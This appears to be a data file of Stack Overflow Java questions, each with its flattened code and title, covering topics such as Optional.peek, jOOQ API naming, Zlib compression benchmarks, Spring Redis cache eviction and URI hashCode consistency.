> UnaryOperator < T > peek ( Consumer < T > consumer ) { return t - > { consumer.accept ( t ) ; return t ; } ; } } return repository.findById ( id ) .map ( OptionalUtils.peek ( u - > logger.debug ( `` Found user = { } with id = { } '' , u , id ) ) ) .orElseThrow ( ( ) - > new UserNotFoundException ( `` id = `` + id ) ) ;",Why does Optional not provide a peek method ? +Java,"I would like to use wait ( int ) as the signature of a method in a fluent API ( used for http : //www.jooq.org ) . The goal is to be able to construct SQL queries like this example : The full FOR UPDATE clause syntax specification ( at least for Oracle ) can be seen here : http : //download.oracle.com/docs/cd/B28359_01/server.111/b28286/img_text/for_update_clause.htmWith jOOQ , I really want to stay close to the SQL syntax . So I 'd like to be able to model the above SQL clause with the jOOQ fluent API like this : The fetch method is used to render the API 's underlying object as SQL and run the SQL statement against an Oracle ( or any other ) database . The above can be legally specified in an interface : I have some doubts about this , though , because there is a risk of collision with another method : Thanks to method-overloading ( int vs. long arguments ) , I can actually do this . But I 'm afraid it might confuse my users and lead to mistakes . So this would be wrong : So my questions are : Can I somehow prevent calling/accessing Object.wait ( long ) altoghether ? I do n't think so because it 's declared final but maybe someone knows a compiler-trick , or something else ? Do you have a better idea for my API design apart from just renaming the method to something silly like doWait ( int ) or WAIT ( int ) ?","SELECT * FROM T_AUTHORWHERE ROWNUM < = 1FOR UPDATE OF FIRST_NAME , LAST_NAMEWAIT 5 FOR UPDATE [ OF [ [ schema . ] { table | view } . ] column [ , [ [ schema . ] { table | view } . ] column ] ... ] [ { NOWAIT | WAIT integer | SKIP LOCKED } ] Result < Record > result = create.select ( ) .from ( T_AUTHOR ) .limit ( 1 ) .forUpdate ( ) .of ( FIRST_NAME , LAST_NAME ) .wait ( 5 ) // Here 's the issue .fetch ( ) ; /** * A type that models a `` step '' in the creation of a query using the fluent API */public interface SelectForUpdateWaitStep extends SelectFinalStep { // [ ... ] /** * Add a `` FOR UPDATE .. WAIT n '' clause to the query */ SelectFinalStep wait ( int seconds ) ; // [ ... ] } public class Object { // [ ... ] public final native void wait ( long timeout ) throws InterruptedException ; // [ ... ] } .forUpdate ( ) .of ( FIRST_NAME , LAST_NAME ) .wait ( ( long ) 5 ) // This does n't make sense .fetch ( ) ; // This does n't compile",Re-define wait method in a Java interface +Java,This does n't compile ( of course ) .incompatible types : possible lossy conversion from long to intThis does compile ! But why is it allowed ?,int a = 1L ; int b = 0 ; b += Long.MAX_VALUE ;,`` += '' operator and int long usage +Java,I 'm doing a Knapsack in Java where we only use weights no value . The weightlimit is 1000 . We get 5 weights scanned from keyboard which we use . The twist is that you can actually go over 1000 aslong as its the closets to 1000 . So in one scenario we have 2 possible weights 990 and 1010 and the program is suposed to pick the higher one.The scanned numbers can never be higher then 1000.I am really struggling with how I can get this done . Before you ask no its not homework im gon na be a project manager for a new group of people that consist of developers so im just trying to learn some java so that i understand a bit of what they do even tho i doubt i will be able to help with the coding .,"package kapsackidone ; import java.util.Scanner ; import java.io.BufferedReader ; import java.io.InputStreamReader ; import java.io . * ; public class Kapsack { public static void main ( String [ ] args ) throws Exception { BufferedReader reader=new BufferedReader ( new InputStreamReader ( System.in ) ) ; int [ ] wt=new int [ 5 ] ; int W = 1000 ; System.out.println ( `` Enter Weight 5 weights '' ) ; for ( int i=0 ; i < 5 ; i++ ) { wt [ i ] =Integer.parseInt ( reader.readLine ( ) ) ; } System.out.println ( knapsack ( wt , W ) ) ; } public static int knapsack ( int wt [ ] , int W ) { int N = wt.length ; int [ ] [ ] V = new int [ N + 1 ] [ W + 1 ] ; for ( int col = 0 ; col < = W ; col++ ) { V [ 0 ] [ col ] = 0 ; } for ( int row = 0 ; row < = N ; row++ ) { V [ row ] [ 0 ] = 0 ; } for ( int item=1 ; item < =N ; item++ ) { for ( int weight=1 ; weight < =W ; weight++ ) { if ( wt [ item-1 ] > weight ) { V [ item ] [ weight ] = V [ item-1 ] [ weight ] ; } else if ( ( weight - V [ item-1 ] [ weight ] ) < ( weight - ( V [ item-1 ] [ weight - wt [ item-1 ] ] + wt [ item-1 ] ) ) ) { V [ item ] [ weight ] = V [ item-1 ] [ weight ] ; } else { V [ item ] [ weight ] = V [ item-1 ] [ weight - wt [ item-1 ] ] + wt [ item-1 ] ; } } } return V [ N ] [ W ] ; } }",knapsack 01 with twist +Java,"I am using Java 's Graphics2D to draw on a component using AffineTransform 's to manipulate my drawing.Graphics2D offers an method transform for this , which takes an AffineTransform.Sometimes I need to manipulate a point manually without using the builtin-transformation.But when I try to transform a point using the same transformation I gave to Graphics2D.transform sometimes the resulting point is not the same.The following code reproduces the problem ( It 's Scala code , but I think you can imagine the Java code . ) : Expected behaviourThe blue rectangle ( manually calculated ) overdraws the red one ( calculated by transform ) .Experienced behaviourI admit that my transformationMatrix is not really integer , but that should'nt be the problem , should it ? Is this a bug or am I missing some deep insight ? Edit : You can reproduce the bug , if you set transformationMatrix toat the beginning of paintComponent . Please note , that g is of type Graphics2D .","var transformationMatrix = new AffineTransform ( ) /* * transformationMatrix is modified throughout the program * ... */ override def paintComponent ( g : Graphics2D ) = { super.paintComponent ( g ) /* 1. transform using graphics transform */ g.transform ( transformationMatrix ) g.setColor ( Color.RED ) g.fill ( new Rectangle ( 0 , 0 , 1 , 1 ) ) /* 2. transform point manually */ g.setTransform ( new AffineTransform ) // reset transformation to standard val p0 = new Point ( 0 , 0 ) val pDest = new Point ( ) transformationMatrix.transform ( p0 , pDest ) g.setColor ( Color.BLUE ) g.fill ( new Rectangle ( pDest.x , pDest.y , 1 , 1 ) } affineTransform = 1.1 , 0.0 , 520.55 0.0 , 1.1 , 182.54999999999995 0.0 , 0.0 , 1.0 transformationMatrix = new AffineTransform ( 1.1 , 0.0 , 0.0 , 1.1 , 521.55 , 183.54999999999995 )",Graphics2D transformation result does not match manual transformation +Java,"This is confusing . I 'm look at the Android 2.2.2_r1 source code for the NotificationManager class , and I see the method getService ( ) which is defined as public and static . However , eclipse is telling me : The method getService ( ) is undefined for the type NotificationManager on the lineMy project is building against Android 2.2/ API Level 8 . I tried to use reflection to see the method names and modifiers , and sure enough , I got backpublic static getServiceAm I missing something here ? Why would eclipse tell me this method does n't exist ?",Object o = NotificationManager.getService ( ) ;,Ca n't use a public static method ? +Java,"I 've built a simple item class ; I 've created an ArrayList ; I also have a method here that allows a user to create an item ( the method is incomplete , I 've only tried implementing choice == 1 so far ! ) ; What I am stuck on is building a method that will allow the user to view a list of current item auctions , basically a way to print out the itemSet ArrayList . I have looked into using toString ( ) but I am unsure of how to get it to return more than one value , i.e auctionID , startPrice , buyoutPrice.Ideally I would like the user to select a choice such as `` view current auctions '' and then the method to print the entire ArrayList in a format such as `` Auction ID : **** Start Price : **** Buyout Price : **** '' with obviously the **** being the number the user inputted .",class itemInfo { int auctionID ; int startPrice ; int buyoutPrice ; } ArrayList < itemInfo > itemSet = new ArrayList < itemInfo > ( ) ; public void auctionChoice ( ) { System.out.println ( `` -- -- What would you like to do ? -- -- \n '' ) ; System.out.println ( `` 1 : List an item for auction\n '' ) ; System.out.println ( `` 2 : Bid on an existing item\n '' ) ; System.out.println ( `` 3 : Remove an item from the auction\n '' ) ; if ( scanner.next ( ) .equals ( `` 1 '' ) ) { itemInfo createdItem = new itemInfo ( ) ; System.out.println ( `` -- -- Enter the auctionID -- -- '' ) ; createdItem.auctionID = scanner.nextInt ( ) ; System.out.println ( `` -- -- Enter the item startPrice -- -- '' ) ; createdItem.startPrice = scanner.nextInt ( ) ; System.out.println ( `` -- -- Enter the buyoutPrice -- -- '' ) ; createdItem.buyoutPrice = scanner.nextInt ( ) ; System.out.println ( `` Auction ID : '' +createdItem.auctionID+ `` \nstartPrice : '' +createdItem.startPrice+ `` \nbuyoutPrice : '' +createdItem.buyoutPrice ) ; itemSet.add ( createdItem ) ; } },Java ArrayList / RMI +Java,"I am experimenting with spring data elasticsearch by implementing a cluster which will host multi-tenant indexes , one index per tenant.I am able to create and set settings dynamically for each needed index , likeThe model is created like thiswhere the index name is passed dynamically via the SpEl # { tenantIndexNamingService.getIndexName ( ) } that is served bySo , whenever I have to execute a CRUD action , first I am pointing to the right index and then to execute the desired actionMy assumption is that the following dynamically index assignment , will not work correctly in a multi-threaded web application : This is because TenantIndexNamingService is singleton.So my question is how achieve the right behavior in a thread save manner ?","public class SpringDataES { @ Autowired private ElasticsearchTemplate es ; @ Autowired private TenantIndexNamingService tenantIndexNamingService ; private void createIndex ( String indexName ) { Settings indexSettings = Settings.builder ( ) .put ( `` number_of_shards '' , 1 ) .build ( ) ; CreateIndexRequest indexRequest = new CreateIndexRequest ( indexName , indexSettings ) ; es.getClient ( ) .admin ( ) .indices ( ) .create ( indexRequest ) .actionGet ( ) ; es.refresh ( indexName ) ; } private void preapareIndex ( String indexName ) { if ( ! es.indexExists ( indexName ) ) { createIndex ( indexName ) ; } updateMappings ( indexName ) ; } @ Document ( indexName = `` # { tenantIndexNamingService.getIndexName ( ) } '' , type = `` movies '' ) public class Movie { @ Id @ JsonIgnore private String id ; private String movieTitle ; @ CompletionField ( maxInputLength = 100 ) private Completion movieTitleSuggest ; private String director ; private Date releaseDate ; @ Servicepublic class TenantIndexNamingService { private static final String INDEX_PREFIX = `` test_index_ '' ; private String indexName = INDEX_PREFIX ; public TenantIndexNamingService ( ) { } public String getIndexName ( ) { return indexName ; } public void setIndexName ( int tenantId ) { this.indexName = INDEX_PREFIX + tenantId ; } public void setIndexName ( String indexName ) { this.indexName = indexName ; } } tenantIndexNamingService.setIndexName ( tenantId ) ; movieService.save ( new Movie ( `` Dead Poets Society '' , getCompletion ( `` Dead Poets Society '' ) , `` Peter Weir '' , new Date ( ) ) ) ; @ Document ( indexName = `` # { tenantIndexNamingService.getIndexName ( ) } ''",spring data elasticsearch dynamic multi tenant index mismatch ? +Java,"I 'm trying to speed up my TIFF encoder initially written in Java by switching to C and have compiled Zlib 1.2.8 with Z_SOLO defined and minimum set of C files : adler32.c , crc32.c , deflate.c , trees.c and zutil.c . Java is using java.util.zip.Deflater.I wrote a simple test program to assess performance in terms of compression level and speed and was puzzled by the fact that whatever level I require , compression does not kick in that much , considering the increasing amount of time required by higher levels . I was also amazed by Java actually performing better than a Visual Studio Release-compile ( VC2010 ) in both compression and speed : Java : C : Am I the only one witnessing such results ? My guess is that the Zlib in the JVM is using assembly-type optimizations that I 'm not including in my C project , or I am missing an obvious configuration step when compiling Zlib ( or Visual Studio compiler sucks ) .Here are both snippets : Java : C : EDIT : After @ MarkAdler 's remarks , I tried different compressing strategies through deflateInit2 ( ) ( namely Z_FILTERED and Z_HUFFMAN_ONLY ) : Z_FILTERED : Z_HUFFMAN_ONLY : As expected per his comment , Z_HUFFMAN_ONLY does not change compression but performs a lot faster . With my data , Z_FILTERED was not faster and a little worse compression than the Z_DEFAULT_STRATEGY .","Level 1 : 8424865 = > 6215200 ( 73,8 % ) in 247 cycles.Level 2 : 8424865 = > 6178098 ( 73,3 % ) in 254 cycles.Level 3 : 8424865 = > 6181716 ( 73,4 % ) in 269 cycles.Level 4 : 8424865 = > 6337236 ( 75,2 % ) in 334 cycles.Level 5 : 8424865 = > 6331902 ( 75,2 % ) in 376 cycles.Level 6 : 8424865 = > 6333914 ( 75,2 % ) in 395 cycles.Level 7 : 8424865 = > 6333350 ( 75,2 % ) in 400 cycles.Level 8 : 8424865 = > 6331986 ( 75,2 % ) in 437 cycles.Level 9 : 8424865 = > 6331598 ( 75,2 % ) in 533 cycles . Level 1 : 8424865 = > 6215586 ( 73.8 % ) in 298 cycles.Level 2 : 8424865 = > 6195280 ( 73.5 % ) in 309 cycles.Level 3 : 8424865 = > 6182748 ( 73.4 % ) in 331 cycles.Level 4 : 8424865 = > 6337942 ( 75.2 % ) in 406 cycles.Level 5 : 8424865 = > 6339203 ( 75.2 % ) in 457 cycles.Level 6 : 8424865 = > 6337100 ( 75.2 % ) in 481 cycles.Level 7 : 8424865 = > 6336396 ( 75.2 % ) in 492 cycles.Level 8 : 8424865 = > 6334293 ( 75.2 % ) in 547 cycles.Level 9 : 8424865 = > 6333084 ( 75.2 % ) in 688 cycles . public static void main ( String [ ] args ) throws IOException { byte [ ] pix = Files.readAllBytes ( Paths.get ( `` MY_MOSTLY_UNCOMPRESSED.TIFF '' ) ) ; int szin = pix.length ; byte [ ] buf = new byte [ szin*101/100 ] ; int szout ; long t0 , t1 ; for ( int i = 1 ; i < = 9 ; i++ ) { t0 = System.currentTimeMillis ( ) ; Deflater deflater = new Deflater ( i ) ; deflater.setInput ( pix ) ; szout = deflater.deflate ( buf ) ; deflater.finish ( ) ; t1 = System.currentTimeMillis ( ) ; System.out.println ( String.format ( `` Level % d : % d = > % d ( % .1f % % ) in % d cycles . `` , i , szin , szout , 100.0f*szout/szin , t1 - t0 ) ) ; } } # include < time.h > # define SZIN 9000000 # define SZOUT 10000000void main ( void ) { static unsigned char buf [ SZIN ] ; static unsigned char out [ SZOUT ] ; clock_t t0 , t1 ; int i , ret ; uLongf sz , szin ; FILE* f = fopen ( `` MY_MOSTLY_UNCOMPRESSED.TIFF '' , `` rb '' ) ; szin = fread ( buf , 1 , SZIN , f ) ; fclose ( f ) ; for ( i = 1 ; i < = 9 ; i++ ) { sz = SZOUT ; t0 = clock ( ) ; compress2 ( out , & sz , buf , szin , i ) ; // I rewrote compress2 , as it 's not available when Z_SOLO is defined t1 = clock ( ) ; printf ( `` Level % d : % d = > % d ( % .1f % % ) in % ld cycles.\n '' , i , szin , sz , 100.0f*sz/szin , t1 - t0 ) ; } } Level 1 : 8424865 = > 6215586 ( 73.8 % ) in 299 cycles.Level 2 : 8424865 = > 6195280 ( 73.5 % ) in 310 cycles.Level 3 : 8424865 = > 6182748 ( 73.4 % ) in 330 cycles.Level 4 : 8424865 = > 6623409 ( 78.6 % ) in 471 cycles.Level 5 : 8424865 = > 6604616 ( 78.4 % ) in 501 cycles.Level 6 : 8424865 = > 6595698 ( 78.3 % ) in 528 cycles.Level 7 : 8424865 = > 6594845 ( 78.3 % ) in 536 cycles.Level 8 : 8424865 = > 6592863 ( 78.3 % ) in 595 cycles.Level 9 : 8424865 = > 6591118 ( 78.2 % ) in 741 cycles . Level 1 : 8424865 = > 6803043 ( 80.7 % ) in 111 cycles.Level 2 : 8424865 = > 6803043 ( 80.7 % ) in 108 cycles.Level 3 : 8424865 = > 6803043 ( 80.7 % ) in 106 cycles.Level 4 : 8424865 = > 6803043 ( 80.7 % ) in 106 cycles.Level 5 : 8424865 = > 6803043 ( 80.7 % ) in 107 cycles.Level 6 : 8424865 = > 6803043 ( 80.7 % ) in 106 cycles.Level 7 : 8424865 = > 6803043 ( 80.7 % ) in 107 cycles.Level 8 : 8424865 = > 6803043 ( 80.7 % ) in 108 cycles.Level 9 : 8424865 = > 6803043 ( 80.7 % ) in 107 cycles .",Benchmarking Zlib Java vs. C +Java,"I am using guice-servlet ( 2.0 ) to inject a database connection at the beginning of each HTTP request , but how can I find out when the request ends so I can close the connection ? web.xmlGuiceServletContextListener",< filter > < filter-name > Guice Filter < /filter-name > < filter-class > com.google.inject.servlet.GuiceFilter < /filter-class > < /filter > < filter-mapping > < filter-name > Guice Filter < /filter-name > < url-pattern > /* < /url-pattern > < /filter-mapping > /** * Creates a new Database connection . */ @ RequestScoped @ Providesprivate Connection getConnection ( ) ;,Cleaning up a @ RequestScoped object ? +Java,"I need to find a suitable data structure for the following case . I have written a simple event dispatch system with events and listeners . The system is completely sequential , so no concurrency and synchronization issues whatsoever.Requirements and ThoughtsEach listener registers to a predefined ( compile time ) 1 or more types of events.Listeners can register and deregister during runtime.The order in which listeners register must be maintained since it is the order in which they receive events ( listeners are always added at the end , but can be removed from anywhere ) .An event type can have 0 or more listeners registered to receive it at any time.A visualization of this relationship can be explained as a table : The order of the rows is irrelevant.The order of the columns must be maintained.Columns can be added and removed.The number of rows is constant during runtime.My thoughts are : When dispatching an event , I need to know which listeners are registered to receive the event type . I 'm thinking about an Event - > Collection < Listener > mapping where the keys are unordered . The collection of listeners needs to maintain insertion order ( or not , if the following point can be used for this instead ) .I need to keep a collection of listeners that maintains insertion order regardless of the events they are registered to ( this demand comes from the objects the listeners are attached to ) . Because even if the Collection < Listener > above is insertion-ordered , it 's per event type and not global . I 'm thinking about an OrderedCollection < Listener > .When deregistering , I need to find all the event types a listener has registered to so it can be remove . I 'm thinking about a Listener - > Collection < Event > , unless the mapping in the first point can do a removeAll ( Listener ) operation on the lists in the value position , but this can leave empty lists instead of completely removing the key.It seems to me like a bidirectional multimap would fit this case . The backing multimaps are an UnorderedMap < Event , OrderedCollection < Listener > > and an OrderedMap < Listener , UnorderedCollection < Event > > . The OrderedCollection < Listener > might not need to be ordered if the ordering from the OrderedMap can be used . Obviously , any unordered data structure can be ordered , but it 's unnecessary.Alternatively , I 've seen ideas of a single multimap with a reverse/invert operation to get the opposite mapping . My concern is twofold : I do n't know if one side can have its keys ordered while the other doesn't.This seems like an expensive operation , and if i need to reverse the mapping all the time it can be inefficient.Pseudocode usageRegistering a listener : Dispatching an event : Deregistering a listener : Final Details and QuestionIf it matters , there are about 30 event types and the amount of concurrent registered listeners is O ( 10 ) , though over the lifetime of the program there could be O ( 100 ) listeners - most of them deregister and GC'd.A note about the ordering . Since the listeners have an incremental unique int id field , I might be able to ensure that ordering by id number is equivalent to ordering by registration ( insertion ) order . The discrepancy currently is that the id is set on initialization of the listener , while registration is done afterwards ( and another listener could be both created and registered in that gap ) . If there is an advantage to using sorted collections over ordered collections in this case , I can put in some work to guarantee that sorting by id is equivalent to insertion order.What data structure ( s ) would fit my needs ? Do I need to write my own ( I rather not reinvent the wheel ) or is there one ( s ) implemented already ( Guava , I 'm looking at you ) ?","| Listener1 | Listener2 | Listener3 | Listner5 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -Event1 | X | | X | X -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -Event2 | | X | X | X -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -Event3 | | | | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -Event4 | | | | X -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - // somewhereListener1 listener = new Listener1 ( ) ; listener.register ( ) ; // class definitionclass Listener1 extends AbstractListener { void register ( ) { DataStructure.put ( Event1.class , this ) ; DataStructure.put ( Event2.class , this ) ; // or // some collection DataStructure.put ( this , [ Event1.class , Event2.class ] ) } } // somewhereEventManager.dispatch ( new Event2 ( ) ) ; // class definitionclass EventManager { static void dispatch ( Event event ) { OrderedCollection < Listener > listeners = DataStructure.get ( event ) ; listeners.forEach ( l - > l.processEvent ( event ) ) ; // forEach maintains the order } } Listener2 listener = ... ; // got it from somewhereDataStructure.remove ( listener ) ; // remove from everywhere and if a key is left with an empty list remove that key",What data structure would fit a sequential event dispatch system of events and listeners ? +Java,"Groovy exposes an ExpandoMetaClass that allows you to dynamically add instance and class methods/properties to a POJO . I would like to use it to add an instance method to one of my Java classes : This would be the equivalent to refactoring the Fizz class to have : My question : Does this add doStuff ( String blah ) to only this particular instance of Fizz ? Or do all instances of Fizz now have a doStuff ( String blah ) instance method ? If the former , how do I get all instances of Fizz to have the doStuff instance method ? I know that if I made the Groovy : Then that would add a static class method to Fizz , such as Fizz.doStuff ( String blah ) , but that 's not what I want . I just want all instances of Fizz to now have an instance method called doStuff . Ideas ?","public class Fizz { // ... etc . } Fizz fizz = new Fizz ( ) ; fizz.metaClass.doStuff = { String blah - > fizz.buzz ( blah ) } public class Fizz { // ctors , getters/setters , etc ... public void doStuff ( String blah ) { buzz ( blah ) ; } } fizz.metaClass.doStuff < < { String blah - > fizz.buzz ( blah ) }",Scope of Groovy 's ExpandoMetaClass ? +Java,"Considering these classes and accumulation function , which represent a simplification of my original context ( yet reproducing the same problem ) : I have attempted to perform an accumulation of items ( originally data indexing reports ) by relying on a separate function , combined , which deals directly with elements of type Foo.It turns out that this code results in a compilation error ( OpenJDK `` 1.8.0_92 '' ) : `` Bad return type in lambda expression : Foo can not be converted to Bar '' . The compiler insists on attempting to reduce the stream using Bar as the accumulative element , even when there is Foo as a common type for both the arguments to the cumulative function and its return type.I also find peculiar that I can still take this approach as long as I explicitly map the stream into a stream of Foos : Is this a limitation of Java 8 's generic type inference , a small issue with this particular overload of Stream # reduce , or an intentional behaviour that is backed by the Java specification ? I have read a few other questions on SO where type inference has `` failed '' , but this particular case is still a bit hard for me to grasp .","abstract static class Foo { abstract int getK ( ) ; } static class Bar extends Foo { int k ; Bar ( int k ) { this.k = k ; } int getK ( ) { return this.k ; } } private static Foo combined ( Foo a1 , Foo a2 ) { return new Bar ( a1.getK ( ) + a2.getK ( ) ) ; } Foo outcome = Stream.of ( 1,2,3,4,5 ) .map ( Bar : :new ) .reduce ( ( a , b ) - > combined ( a , b ) ) .get ( ) ; Foo outcome = Stream.of ( 1,2,3,4,5 ) . < Foo > map ( Bar : :new ) .reduce ( ( a , b ) - > combined ( a , b ) ) .get ( ) ;",Why does n't Stream # reduce implicitly accept an accumulative function handling super type elements ? +Java,In java.util.Arrays there is a private static class called `` ArrayList '' defined.It is only referred from Arrays.asList method.What is the benifit of doing this ? Why is java.util.ArrayList not referred instead ? Code below :,"/** * @ serial include */ private static class ArrayList < E > extends AbstractList < E > implements RandomAccess , java.io.Serializable",private static class ArrayList in java.util.Arrays - Why ? +Java,"I can see this curious behaviour from the garbage collectorif I go to debug and put a breakpoint on //1 foo is not null and its value is `` bar '' but in breakpoint //2 foo is null , this can be difficult to understand while you are debug . My question is if there is any specification that says that this is a legal behaviour from the garbage collectorWith this small variation it does n't get Garbage collected : Why ?",public class A { public static void main ( String [ ] args ) { String foo ; try { foo = `` bar '' ; int yoo = 5 ; //1 } catch ( Exception e ) { } int foobar = 3 ; //2 } } public class A { public static void main ( String [ ] args ) { String foo ; try { foo = `` bar '' ; } catch ( Exception e ) { throw new RuntimeException ( e ) ; } int foobar = 3 ; } },Variable gets garbage collected immediately after catch block +Java,"I 've got two methods to read in a string , and create Character objects : andWhen I run the methods using an 18,554,760 character string , I 'm getting wildly different run times . The output I 'm getting is : With smaller input ( 4,638,690 characters ) the time is n't as varied . Why is new so much more efficient in this case ? EDIT : My benchmark code is pretty hacky .",static void newChar ( String string ) { int len = string.length ( ) ; System.out.println ( `` Reading `` + len + `` characters '' ) ; for ( int i = 0 ; i < len ; i++ ) { Character cur = new Character ( string.charAt ( i ) ) ; } } static void justChar ( String string ) { int len = string.length ( ) ; for ( int i = 0 ; i < len ; i++ ) { Character cur = string.charAt ( i ) ; } } newChar took : 20 msjustChar took : 41 ms newChar took : 12 msjustChar took : 13 ms start = System.currentTimeMillis ( ) ; newChar ( largeString ) ; end = System.currentTimeMillis ( ) ; diff = end-start ; System.out.println ( `` New char took : `` + diff + `` ms '' ) ; start = System.currentTimeMillis ( ) ; justChar ( largeString ) ; end = System.currentTimeMillis ( ) ; diff = end-start ; System.out.println ( `` just char took : `` + diff+ `` ms '' ) ;,Why is the `` new '' keyword so much more efficient than assignment ? +Java,"A fundamental part of the Java Object contract is that the hashCode ( ) method should be consistent with the equals ( ) method . This makes sense and is easy to understand : if two objects are `` equal '' in some way , they should return the same hash code . If not , you could put one object in a HashSet , for instance , and then later check to see if a separate instance is in the set and incorrectly get back false , even though the equals ( ) method would have considered the objects equivalent.In fact Java 's URI code has this problem as of Java 6 . Try this code : URI escape sequences , as per RFC 3968 , are case insensitive ; that is , % 2A and % 2a are considered equivalent . The Java URI.equals ( ) implementation takes this into account . However , the URI.hashCode ( ) implementation does not take this into account ! This means that two URI instances that return true for URI.equals ( ) nevertheless can return different hash codes , as illustrated in the code above ! I submitted this issue , which supposedly resulting in Java Bug 7134993 , but that bug is no longer available . The same issue , though , is shown in Java Bug 7054089 . ( I 'm not sure if this was from my submission or from someone else , but the issue is the same . ) However , the bug was denied with the evaluation , `` The examples cited are opaque URIs and so the scheme specific parts are not parsed . `` Whoever evaluated this bug must have not been familiar with what it means for equals ( ) and hashCode ( ) to be consistent . The contract for Object.equals ( ) clearly states , `` If two objects are equal according to the equals ( Object ) method , then calling the hashCode method on each of the two objects must produce the same integer result . '' Note the use of `` must '' , not `` should '' .The point here is that , even though the evaluator claims that the URI is `` opaque '' and `` not parsed '' , the URI.equals ( ) implementation ( contrary to his/her claims ) is indeed parsing the URI and making allowances for case insensitivity . The URI.hashCode ( ) implementation is not.So am I being completely dense here and missing something obvious ? If I am , someone please enlighten me as to my mistake , and I 'll mark your answer as correct . Otherwise , the question is : now that Sun/Oracle no longer seems to allow comments on filed bugs , what recourse do I have to get recognition and action on this fundamental problem in the Java implementation of the primary identifier of the Internet , the URI ?","import static org.hamcrest.CoreMatchers . * ; import static org.junit.Assert . * ; import java.net.URI ; import org.junit.Test ; public class URITest { @ Test public void testURIHashCode ( ) { final URI uri1 = URI.create ( `` http : //www.example.com/foo % 2Abar '' ) ; final URI uri2 = URI.create ( `` http : //www.example.com/foo % 2abar '' ) ; assertThat ( `` URIs are not equal . `` , uri1 , equalTo ( uri2 ) ) ; assertThat ( `` Equal URIs do not have same hash code . `` , uri1.hashCode ( ) , equalTo ( uri2.hashCode ( ) ) ) ; } }",How to get recognition of Java URI hashCode ( ) bug that has been inappropriately denied +Java,"I 'd like to transfer from client to server WHERE clause as JSON.I have created FilterInfo.class and Filter.class on the server : Example of my filterInfo as JSON : Then it should be great to read this JSON on server and build query . Unfortunately , Date and Integer values deserialize as String and Double.I have seen examples with TypeToken , custom serializers/deserializers but can not guess how to apply them to me.I would happy if you figure out my mistakes , and suggest good idea.Thank you !","public class Filter < T > { private String fieldName ; private String operand ; private T value ; } public class FilterInfo { private List < Filter > filters = new ArrayList < Filter > ( ) ; private String orderBy ; } { `` filters '' : [ { `` fieldName '' : `` Name '' , `` operand '' : `` = '' , `` value '' : `` John '' } , { `` fieldName '' : `` Age '' , `` operand '' : `` > = '' , `` value '' : `` 30 '' } ] , `` orderBy '' : `` Age '' } Gson gson = new GsonBuilder ( ) .setPrettyPrinting ( ) .setDateFormat ( Constants.MY_DATE_FORMAT ) .create ( ) ; FilterInfo filterInfo = gson.fromJson ( jsonString , FilterInfo.class ) ;",JSON query filter transport +Java,"Give the following code : It is not surprising to me that this code compiles , but rather that the ClassCastException occurs on the get line as opposed to the put line above it , though I do have an educated guess as to what what may be occurring . Since generic types are erased during runtime , the cast in getValue ( ) actually never occurs at runtime and is effectively a cast to Object . If the method would be implemented below as follows , then the runtime cast would occur and it would fail on the put line ( as expected ) . Can anyone confirm this ? Is this a known flaw or oddity of using generics ? Is it bad practice then to use the < > notation when calling methods ? Edit : I am using the default Oracle JDK 1.7_03.Another implied question from above : Is the cast in the original getValue STILL occurring at runtime but the cast is actually to Object - or is the compiler smart enough to remove this cast from not occurring at runtime at all ? This might explain the difference of where the ClassCastException is occurring that people are noticing when running it .","public static void main ( String [ ] args ) { HashMap < String , String > hashMap = new HashMap < > ( ) ; HashMap < String , Object > dataMap = new HashMap < > ( ) ; dataMap.put ( `` longvalue '' , 5L ) ; class TestMethodHolder { < T > T getValue ( Map < String , Object > dataMap , String value ) { return ( T ) dataMap.get ( value ) ; } } hashMap.put ( `` test '' , new TestMethodHolder ( ) . < String > getValue ( dataMap , `` longvalue '' ) ) ; String value = hashMap.get ( `` test '' ) ; // ClassCastException occurs HERE System.out.println ( value ) ; } class TestMethodHolder { String getValue ( Map < String , Object > dataMap , String value ) { return ( String ) dataMap.get ( value ) ; } }","Generics Oddity - I can insert a Long value into a Map < String , String > and it compiles and does n't fail at runtime" +Java,I am using Redis Cache in my Spring Boot application to store data of multiple rest API 's . I am clearing Redis cache on a regular interval using Spring Cron Jobs . The method is getting called at required time-slots . I have verified the logs but the cache is not getting clear and hence it is showing the stale data . The code where I 'm trying to clear the cache.Custom cache configuration code . How to fix the code to clear the redis cache ?,"public class CustomerDerivation { @ Autowired @ Qualifier ( `` redisCacheMngr '' ) CacheManager redisCacheMngr ; @ Scheduled ( cron = `` $ { redis.api.update.interval } '' ) @ CacheEvict ( value = `` redis-cache '' , allEntries = true , cacheNames = { `` redis-cache '' } ) protected void cacheEvict ( ) { redisCacheMngr.getCache ( `` redis-cache '' ) .clear ( ) ; logger.info ( `` Evicting ModelCache '' ) ; } } @ Configuration @ Profile ( `` cloud '' ) public class CacheConfig extends AbstractCloudConfig { @ Autowired Environment env ; @ Bean public RedisConnectionFactory brRedisFactory ( ) { return connectionFactory ( ) .redisConnectionFactory ( env.getProperty ( `` model_cache_name '' ) ) ; } @ Bean public RedisTemplate < String , Object > brRedisTemplate ( ) { RedisTemplate < String , Object > redisTemplate = new RedisTemplate < String , Object > ( ) ; redisTemplate.setConnectionFactory ( brRedisFactory ( ) ) ; return redisTemplate ; } @ Bean ( name = `` redisCacheMngr '' ) public CacheManager cacheManager ( ) { RedisCacheManager cacheManager = new RedisCacheManager ( brRedisTemplate ( ) ) ; cacheManager.setUsePrefix ( true ) ; cacheManager.setTransactionAware ( true ) ; return cacheManager ; } }",Why Redis Cache is not getting empty in my Spring Boot application ? +Java,"I am not sure if this is a definitive statement , but it seems to me that the Java API prefers constant ints over enums . From the parts of the API that I have used , I 've encountered many final static int constants where an enum could have been used instead . Once such example that I happen to be staring at this moment : From java.awt.BasicStroke : In fact , I do n't think I 've ever seen an enum used in a standard Java API class . Why is this ? I 'm designing an API for my own application ( about a billion times smaller than the Java API , but I 'm still trying to be smart about it ) , and trying to decide whether to use constant ints or enums . THIS post references a very popular book I have n't read yet which implies enums have many advantages . Most other highly scored answers in that same thread agree . So why does Java not seem to use its own enum capabilities ?",public final static int CAP_BUTT = 0 ; public final static int 